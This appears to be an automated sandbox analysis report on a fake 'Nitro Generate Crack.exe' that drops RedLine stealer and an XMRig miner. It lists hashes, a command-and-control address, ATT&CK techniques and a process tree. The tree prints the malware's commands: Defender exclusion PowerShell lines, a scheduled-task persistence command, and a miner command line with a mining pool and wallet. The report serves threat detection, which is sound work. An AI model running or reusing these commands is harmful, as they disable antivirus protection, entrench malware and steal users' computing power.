redline | fd50e5ce3b80417115401a4cc61ba7efd5c4d6f13d9166c26cc456b111d39fbb

Analysis

max time kernel
150s
max time network
130s
platform
windows10_x64
resource
win10-en-20210920
submitted
28/10/2021, 16:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Nitro Generate Crack.exe
Size 23.4MB
Sample211028-t8talagfhm
SHA256 fd50e5ce3b80417115401a4cc61ba7efd5c4d6f13d9166c26cc456b111d39fbb
MD5 14a78c6ee6b35d46be2af9d7367528f3
SHA1 1f6a27de5c364bb6c78051616ca6dbb88a54437d
SHA512 1c520415de86d94ff5ecd223286d2148748119a32ff91d8fb68c78fe823e31277086e49d62c3491c6f7f0ce2e9835d63015bb9aa6b91777c45277a9bb640b6d6
MD5 SHA1 SHA512

Score

10^/10

redline xmrig @onlypizdat evasion infostealer miner spyware

Malware Config

Extracted

Family

redline

Botnet

@onlypizdat

80.89.237.147:39192

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 2 IoCs

resource	yara_rule
behavioral2/memory/1732-176-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral2/memory/1732-181-0x0000000000418DAA-mapping.dmp	family_redline

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2936 created 2256	2936	WerFault.exe	72

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

XMRig Miner Payload 2 IoCs

miner

resource	yara_rule
behavioral2/memory/940-737-0x000000014100D000-mapping.dmp	xmrig
behavioral2/memory/940-812-0x0000000140000000-0x0000000141010000-memory.dmp	xmrig

Executes dropped EXE 7 IoCs

pid	Process
2256	krinjxxl318812.exe
1340	Mo-Er.exe
444	xmr.exe
352	svchost64.exe
532	services64.exe
3904	svchost64.exe
3264	sihost64.exe

Checks BIOS information in registry 2 TTPs 12 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	notepad.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	xmr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	svchost64.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	svchost64.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	sihost64.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	services64.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	sihost64.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	notepad.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	xmr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	svchost64.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	svchost64.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	services64.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\system32\Microsoft\Libs\sihost64.exe	svchost64.exe
File created	C:\Windows\system32\Microsoft\Libs\WR64.sys	svchost64.exe
File created	C:\Windows\system32\services64.exe	svchost64.exe
File opened for modification	C:\Windows\system32\services64.exe	svchost64.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2256 set thread context of 1732	2256	krinjxxl318812.exe	80
PID 3904 set thread context of 940	3904	svchost64.exe	109

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2936	2256	WerFault.exe	72

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
3184	schtasks.exe
688	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2256	krinjxxl318812.exe
2256	krinjxxl318812.exe
2256	krinjxxl318812.exe
2256	krinjxxl318812.exe
1076	powershell.exe
1076	powershell.exe
1076	powershell.exe
2288	powershell.exe
2288	powershell.exe
2288	powershell.exe
2936	WerFault.exe
2936	WerFault.exe
2936	WerFault.exe
2936	WerFault.exe
2936	WerFault.exe
2936	WerFault.exe
2936	WerFault.exe
2936	WerFault.exe
2936	WerFault.exe
2936	WerFault.exe
2936	WerFault.exe
2936	WerFault.exe
2936	WerFault.exe
2936	WerFault.exe
3804	powershell.exe
3804	powershell.exe
3804	powershell.exe
352	svchost64.exe
4072	powershell.exe
4072	powershell.exe
4072	powershell.exe
3208	powershell.exe
3208	powershell.exe
3208	powershell.exe
2340	Conhost.exe
2340	Conhost.exe
2340	Conhost.exe
1356	powershell.exe
1356	powershell.exe
1356	powershell.exe
1732	AppLaunch.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
3904	svchost64.exe
940	notepad.exe
940	notepad.exe
940	notepad.exe
940	notepad.exe
940	notepad.exe
940	notepad.exe
940	notepad.exe
940	notepad.exe
940	notepad.exe
940	notepad.exe
940	notepad.exe
940	notepad.exe
940	notepad.exe
940	notepad.exe
940	notepad.exe
940	notepad.exe
940	notepad.exe
940	notepad.exe
940	notepad.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1076	powershell.exe
Token: SeIncreaseQuotaPrivilege	1076	powershell.exe
Token: SeSecurityPrivilege	1076	powershell.exe
Token: SeTakeOwnershipPrivilege	1076	powershell.exe
Token: SeLoadDriverPrivilege	1076	powershell.exe
Token: SeSystemProfilePrivilege	1076	powershell.exe
Token: SeSystemtimePrivilege	1076	powershell.exe
Token: SeProfSingleProcessPrivilege	1076	powershell.exe
Token: SeIncBasePriorityPrivilege	1076	powershell.exe
Token: SeCreatePagefilePrivilege	1076	powershell.exe
Token: SeBackupPrivilege	1076	powershell.exe
Token: SeRestorePrivilege	1076	powershell.exe
Token: SeShutdownPrivilege	1076	powershell.exe
Token: SeDebugPrivilege	1076	powershell.exe
Token: SeSystemEnvironmentPrivilege	1076	powershell.exe
Token: SeRemoteShutdownPrivilege	1076	powershell.exe
Token: SeUndockPrivilege	1076	powershell.exe
Token: SeManageVolumePrivilege	1076	powershell.exe
Token: 33	1076	powershell.exe
Token: 34	1076	powershell.exe
Token: 35	1076	powershell.exe
Token: 36	1076	powershell.exe
Token: SeRestorePrivilege	2936	WerFault.exe
Token: SeBackupPrivilege	2936	WerFault.exe
Token: SeDebugPrivilege	2288	powershell.exe
Token: SeIncreaseQuotaPrivilege	2288	powershell.exe
Token: SeSecurityPrivilege	2288	powershell.exe
Token: SeTakeOwnershipPrivilege	2288	powershell.exe
Token: SeLoadDriverPrivilege	2288	powershell.exe
Token: SeSystemProfilePrivilege	2288	powershell.exe
Token: SeSystemtimePrivilege	2288	powershell.exe
Token: SeProfSingleProcessPrivilege	2288	powershell.exe
Token: SeIncBasePriorityPrivilege	2288	powershell.exe
Token: SeCreatePagefilePrivilege	2288	powershell.exe
Token: SeBackupPrivilege	2288	powershell.exe
Token: SeRestorePrivilege	2288	powershell.exe
Token: SeShutdownPrivilege	2288	powershell.exe
Token: SeDebugPrivilege	2288	powershell.exe
Token: SeSystemEnvironmentPrivilege	2288	powershell.exe
Token: SeRemoteShutdownPrivilege	2288	powershell.exe
Token: SeUndockPrivilege	2288	powershell.exe
Token: SeManageVolumePrivilege	2288	powershell.exe
Token: 33	2288	powershell.exe
Token: 34	2288	powershell.exe
Token: 35	2288	powershell.exe
Token: 36	2288	powershell.exe
Token: SeDebugPrivilege	2936	WerFault.exe
Token: SeDebugPrivilege	3804	powershell.exe
Token: SeIncreaseQuotaPrivilege	3804	powershell.exe
Token: SeSecurityPrivilege	3804	powershell.exe
Token: SeTakeOwnershipPrivilege	3804	powershell.exe
Token: SeLoadDriverPrivilege	3804	powershell.exe
Token: SeSystemProfilePrivilege	3804	powershell.exe
Token: SeSystemtimePrivilege	3804	powershell.exe
Token: SeProfSingleProcessPrivilege	3804	powershell.exe
Token: SeIncBasePriorityPrivilege	3804	powershell.exe
Token: SeCreatePagefilePrivilege	3804	powershell.exe
Token: SeBackupPrivilege	3804	powershell.exe
Token: SeRestorePrivilege	3804	powershell.exe
Token: SeShutdownPrivilege	3804	powershell.exe
Token: SeDebugPrivilege	3804	powershell.exe
Token: SeSystemEnvironmentPrivilege	3804	powershell.exe
Token: SeRemoteShutdownPrivilege	3804	powershell.exe
Token: SeUndockPrivilege	3804	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3140 wrote to memory of 3124	3140	Nitro Generate Crack.exe	68
PID 3140 wrote to memory of 3124	3140	Nitro Generate Crack.exe	68
PID 3140 wrote to memory of 3124	3140	Nitro Generate Crack.exe	68
PID 3140 wrote to memory of 2152	3140	Nitro Generate Crack.exe	70
PID 3140 wrote to memory of 2152	3140	Nitro Generate Crack.exe	70
PID 3140 wrote to memory of 2152	3140	Nitro Generate Crack.exe	70
PID 3124 wrote to memory of 2256	3124	cmd.exe	72
PID 3124 wrote to memory of 2256	3124	cmd.exe	72
PID 3124 wrote to memory of 2256	3124	cmd.exe	72
PID 2152 wrote to memory of 1340	2152	cmd.exe	73
PID 2152 wrote to memory of 1340	2152	cmd.exe	73
PID 2152 wrote to memory of 1340	2152	cmd.exe	73
PID 1340 wrote to memory of 444	1340	Mo-Er.exe	74
PID 1340 wrote to memory of 444	1340	Mo-Er.exe	74
PID 444 wrote to memory of 1256	444	xmr.exe	76
PID 444 wrote to memory of 1256	444	xmr.exe	76
PID 1256 wrote to memory of 1076	1256	cmd.exe	78
PID 1256 wrote to memory of 1076	1256	cmd.exe	78
PID 2256 wrote to memory of 1732	2256	krinjxxl318812.exe	80
PID 2256 wrote to memory of 1732	2256	krinjxxl318812.exe	80
PID 2256 wrote to memory of 1732	2256	krinjxxl318812.exe	80
PID 2256 wrote to memory of 1732	2256	krinjxxl318812.exe	80
PID 2256 wrote to memory of 1732	2256	krinjxxl318812.exe	80
PID 1256 wrote to memory of 2288	1256	cmd.exe	82
PID 1256 wrote to memory of 2288	1256	cmd.exe	82
PID 1256 wrote to memory of 3804	1256	cmd.exe	84
PID 1256 wrote to memory of 3804	1256	cmd.exe	84
PID 444 wrote to memory of 3580	444	xmr.exe	85
PID 444 wrote to memory of 3580	444	xmr.exe	85
PID 3580 wrote to memory of 352	3580	cmd.exe	87
PID 3580 wrote to memory of 352	3580	cmd.exe	87
PID 352 wrote to memory of 3284	352	svchost64.exe	88
PID 352 wrote to memory of 3284	352	svchost64.exe	88
PID 3284 wrote to memory of 3184	3284	cmd.exe	90
PID 3284 wrote to memory of 3184	3284	cmd.exe	90
PID 1256 wrote to memory of 4072	1256	cmd.exe	91
PID 1256 wrote to memory of 4072	1256	cmd.exe	91
PID 352 wrote to memory of 532	352	svchost64.exe	92
PID 352 wrote to memory of 532	352	svchost64.exe	92
PID 352 wrote to memory of 4004	352	svchost64.exe	93
PID 352 wrote to memory of 4004	352	svchost64.exe	93
PID 4004 wrote to memory of 1196	4004	cmd.exe	95
PID 4004 wrote to memory of 1196	4004	cmd.exe	95
PID 532 wrote to memory of 2292	532	services64.exe	96
PID 532 wrote to memory of 2292	532	services64.exe	96
PID 2292 wrote to memory of 3208	2292	cmd.exe	98
PID 2292 wrote to memory of 3208	2292	cmd.exe	98
PID 2292 wrote to memory of 2340	2292	cmd.exe	112
PID 2292 wrote to memory of 2340	2292	cmd.exe	112
PID 2292 wrote to memory of 1356	2292	cmd.exe	101
PID 2292 wrote to memory of 1356	2292	cmd.exe	101
PID 532 wrote to memory of 1188	532	services64.exe	102
PID 532 wrote to memory of 1188	532	services64.exe	102
PID 1188 wrote to memory of 3904	1188	cmd.exe	104
PID 1188 wrote to memory of 3904	1188	cmd.exe	104
PID 2292 wrote to memory of 364	2292	cmd.exe	105
PID 2292 wrote to memory of 364	2292	cmd.exe	105
PID 3904 wrote to memory of 3580	3904	svchost64.exe	106
PID 3904 wrote to memory of 3580	3904	svchost64.exe	106
PID 3904 wrote to memory of 3264	3904	svchost64.exe	108
PID 3904 wrote to memory of 3264	3904	svchost64.exe	108
PID 3904 wrote to memory of 940	3904	svchost64.exe	109
PID 3904 wrote to memory of 940	3904	svchost64.exe	109
PID 3904 wrote to memory of 940	3904	svchost64.exe	109

C:\Users\Admin\AppData\Local\Temp\Nitro Generate Crack.exe
"C:\Users\Admin\AppData\Local\Temp\Nitro Generate Crack.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3140
- C:\Windows\SysWOW64\cmd.exe
  cmd /c start C:\Users\Admin\AppData\Local\Temp\krinjxxl318812.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3124
- - C:\Users\Admin\AppData\Local\Temp\krinjxxl318812.exe
    C:\Users\Admin\AppData\Local\Temp\krinjxxl318812.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2256
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1732
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2256 -s 280
      4⤵
      Suspicious use of NtCreateProcessExOtherParentProcess
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2936
- C:\Windows\SysWOW64\cmd.exe
  cmd /c start C:\Users\Admin\AppData\Local\Temp\Mo-Er.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2152
- - C:\Users\Admin\AppData\Local\Temp\Mo-Er.exe
    C:\Users\Admin\AppData\Local\Temp\Mo-Er.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1340
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\xmr.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\xmr.exe"
      4⤵
      Executes dropped EXE
      Checks BIOS information in registry
      Suspicious use of WriteProcessMemory
      PID:444
    - - C:\Windows\SYSTEM32\cmd.exe
        
        "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1256
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1076
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2288
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3804
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4072
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Users\Admin\AppData\Local\Temp\RarSFX0\xmr.exe"
        5⤵
        
        PID:3580
      - C:\Users\Admin\AppData\Local\Temp\svchost64.exe
        
        C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Users\Admin\AppData\Local\Temp\RarSFX0\xmr.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:352
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:3284
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"'
        8⤵
        Creates scheduled task(s)
        
        PID:3184
        
        C:\Windows\system32\services64.exe
        
        "C:\Windows\system32\services64.exe"
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Suspicious use of WriteProcessMemory
        
        PID:532
        
        C:\Windows\system32\cmd.exe
        
        "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2292
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3208
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
        9⤵
        
        PID:2340
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1356
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:364
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1188
        
        C:\Users\Admin\AppData\Local\Temp\svchost64.exe
        
        C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"
        9⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3904
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:3580
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"'
        11⤵
        Creates scheduled task(s)
        
        PID:688
        
        C:\Windows\system32\Microsoft\Libs\sihost64.exe
        
        "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
        10⤵
        Executes dropped EXE
        Checks BIOS information in registry
        
        PID:3264
        
        C:\Windows\System32\notepad.exe
        
        C:\Windows/System32\notepad.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=41p9e6EK4ZZHPEh4hK88s1M6qQg8Hn3XFcyMm7M118SzUVRbcTabKM3iRGM64qFLpCXWASdVoHQSTCAZ9N33rRDXLHSi7Ac --pass=RIG - 1 --cpu-max-threads-hint=70 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=4 --cinit-idle-cpu=100 --nicehash --tls --cinit-stealth
        10⤵
        Checks BIOS information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:940
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost64.exe"
        10⤵
        
        PID:1508
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        11⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2340
        
        C:\Windows\system32\choice.exe
        
        choice /C Y /N /D Y /T 3
        11⤵
        
        PID:1796
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost64.exe"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:4004
        
        C:\Windows\system32\choice.exe
        
        choice /C Y /N /D Y /T 3
        8⤵
        
        PID:1196

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/352-289-0x00000000097D0000-0x00000000097D2000-memory.dmp

Download

memory/364-671-0x000001FEF27F3000-0x000001FEF27F5000-memory.dmp

Download

memory/364-670-0x000001FEF27F0000-0x000001FEF27F2000-memory.dmp

Download

memory/364-716-0x000001FEF27F6000-0x000001FEF27F8000-memory.dmp

Download

memory/364-784-0x000001FEF27F8000-0x000001FEF27F9000-memory.dmp

Download

memory/444-135-0x00007FF6D6B50000-0x00007FF6D6B51000-memory.dmp

Download

memory/444-137-0x0000000022D00000-0x0000000022D02000-memory.dmp

Download

memory/532-348-0x0000000022540000-0x0000000022542000-memory.dmp

Download

memory/940-745-0x0000000140000000-0x0000000141010000-memory.dmp

Download

memory/940-812-0x0000000140000000-0x0000000141010000-memory.dmp

Download

memory/940-816-0x00000185151A0000-0x00000185151C0000-memory.dmp

Download

memory/940-817-0x00000185151C0000-0x00000185151E0000-memory.dmp

Download

memory/1076-148-0x0000016A54200000-0x0000016A54202000-memory.dmp

Download

memory/1076-143-0x0000016A3BF40000-0x0000016A3BF42000-memory.dmp

Download

memory/1076-150-0x0000016A3BF40000-0x0000016A3BF42000-memory.dmp

Download

memory/1076-149-0x0000016A54203000-0x0000016A54205000-memory.dmp

Download

memory/1076-147-0x0000016A544F0000-0x0000016A544F1000-memory.dmp

Download

memory/1076-153-0x0000016A3BF40000-0x0000016A3BF42000-memory.dmp

Download

memory/1076-169-0x0000016A54206000-0x0000016A54208000-memory.dmp

Download

memory/1076-183-0x0000016A3BF40000-0x0000016A3BF42000-memory.dmp

Download

memory/1076-140-0x0000016A3BF40000-0x0000016A3BF42000-memory.dmp

Download

memory/1076-141-0x0000016A3BF40000-0x0000016A3BF42000-memory.dmp

Download

memory/1076-142-0x0000016A3BF40000-0x0000016A3BF42000-memory.dmp

Download

memory/1076-146-0x0000016A3BF40000-0x0000016A3BF42000-memory.dmp

Download

memory/1076-145-0x0000016A3BF40000-0x0000016A3BF42000-memory.dmp

Download

memory/1076-200-0x0000016A54208000-0x0000016A54209000-memory.dmp

Download

memory/1076-152-0x0000016A3BF40000-0x0000016A3BF42000-memory.dmp

Download

memory/1076-144-0x0000016A54340000-0x0000016A54341000-memory.dmp

Download

memory/1340-123-0x0000000000A10000-0x0000000000A11000-memory.dmp

Download

memory/1340-122-0x0000000000A10000-0x0000000000A11000-memory.dmp

Download

memory/1356-585-0x000001CB7ABB0000-0x000001CB7ABB2000-memory.dmp

Download

memory/1356-586-0x000001CB7ABB3000-0x000001CB7ABB5000-memory.dmp

Download

memory/1356-631-0x000001CB7ABB6000-0x000001CB7ABB8000-memory.dmp

Download

memory/1356-667-0x000001CB7ABB8000-0x000001CB7ABB9000-memory.dmp

Download

memory/1732-176-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/1732-235-0x0000000008920000-0x0000000008E1E000-memory.dmp

Download

memory/1732-184-0x0000000000020000-0x0000000000021000-memory.dmp

Download

memory/1732-182-0x0000000000020000-0x0000000000021000-memory.dmp

Download

memory/1732-193-0x0000000000400000-0x0000000000401000-memory.dmp

Download

memory/1732-191-0x0000000000020000-0x0000000000021000-memory.dmp

Download

memory/2256-130-0x0000000000DD0000-0x0000000000DD1000-memory.dmp

Download

memory/2256-125-0x00000000001E0000-0x00000000001E1000-memory.dmp

Download

memory/2256-127-0x0000000000DA0000-0x0000000000DA1000-memory.dmp

Download

memory/2256-128-0x0000000000DB0000-0x0000000000DB1000-memory.dmp

Download

memory/2256-129-0x0000000000DC0000-0x0000000000DC1000-memory.dmp

Download

memory/2256-126-0x00000000001F0000-0x00000000001F1000-memory.dmp

Download

memory/2256-131-0x0000000000400000-0x0000000000AEB000-memory.dmp

Download

memory/2288-189-0x000001DBA05C0000-0x000001DBA05C2000-memory.dmp

Download

memory/2288-188-0x000001DBA05C0000-0x000001DBA05C2000-memory.dmp

Download

memory/2288-190-0x000001DBA05C0000-0x000001DBA05C2000-memory.dmp

Download

memory/2288-187-0x000001DBA05C0000-0x000001DBA05C2000-memory.dmp

Download

memory/2288-196-0x000001DBA05C0000-0x000001DBA05C2000-memory.dmp

Download

memory/2288-197-0x000001DBA05C0000-0x000001DBA05C2000-memory.dmp

Download

memory/2288-233-0x000001DBB8DA6000-0x000001DBB8DA8000-memory.dmp

Download

memory/2288-199-0x000001DBA05C0000-0x000001DBA05C2000-memory.dmp

Download

memory/2288-202-0x000001DBB8DA0000-0x000001DBB8DA2000-memory.dmp

Download

memory/2288-203-0x000001DBB8DA3000-0x000001DBB8DA5000-memory.dmp

Download

memory/2288-234-0x000001DBB8DA8000-0x000001DBB8DA9000-memory.dmp

Download

memory/2340-584-0x000001DB3EA38000-0x000001DB3EA39000-memory.dmp

Download

memory/2340-464-0x000001DB3EA33000-0x000001DB3EA35000-memory.dmp

Download

memory/2340-466-0x000001DB3EA36000-0x000001DB3EA38000-memory.dmp

Download

memory/2340-463-0x000001DB3EA30000-0x000001DB3EA32000-memory.dmp

Download

memory/3208-380-0x0000014E7DE56000-0x0000014E7DE58000-memory.dmp

Download

memory/3208-350-0x0000014E7DE53000-0x0000014E7DE55000-memory.dmp

Download

memory/3208-349-0x0000014E7DE50000-0x0000014E7DE52000-memory.dmp

Download

memory/3208-390-0x0000014E7DE58000-0x0000014E7DE59000-memory.dmp

Download

memory/3264-805-0x0000000022AB0000-0x0000000022AB2000-memory.dmp

Download

memory/3804-252-0x0000020C7F390000-0x0000020C7F392000-memory.dmp

Download

memory/3804-253-0x0000020C7F393000-0x0000020C7F395000-memory.dmp

Download

memory/3804-267-0x0000020C7F396000-0x0000020C7F398000-memory.dmp

Download

memory/3804-290-0x0000020C7F398000-0x0000020C7F399000-memory.dmp

Download

memory/3904-674-0x00000000094A0000-0x00000000094A2000-memory.dmp

Download

memory/4072-333-0x000001F025F98000-0x000001F025F99000-memory.dmp

Download

memory/4072-332-0x000001F025F96000-0x000001F025F98000-memory.dmp

Download

memory/4072-303-0x000001F025F93000-0x000001F025F95000-memory.dmp

Download

memory/4072-302-0x000001F025F90000-0x000001F025F92000-memory.dmp

Download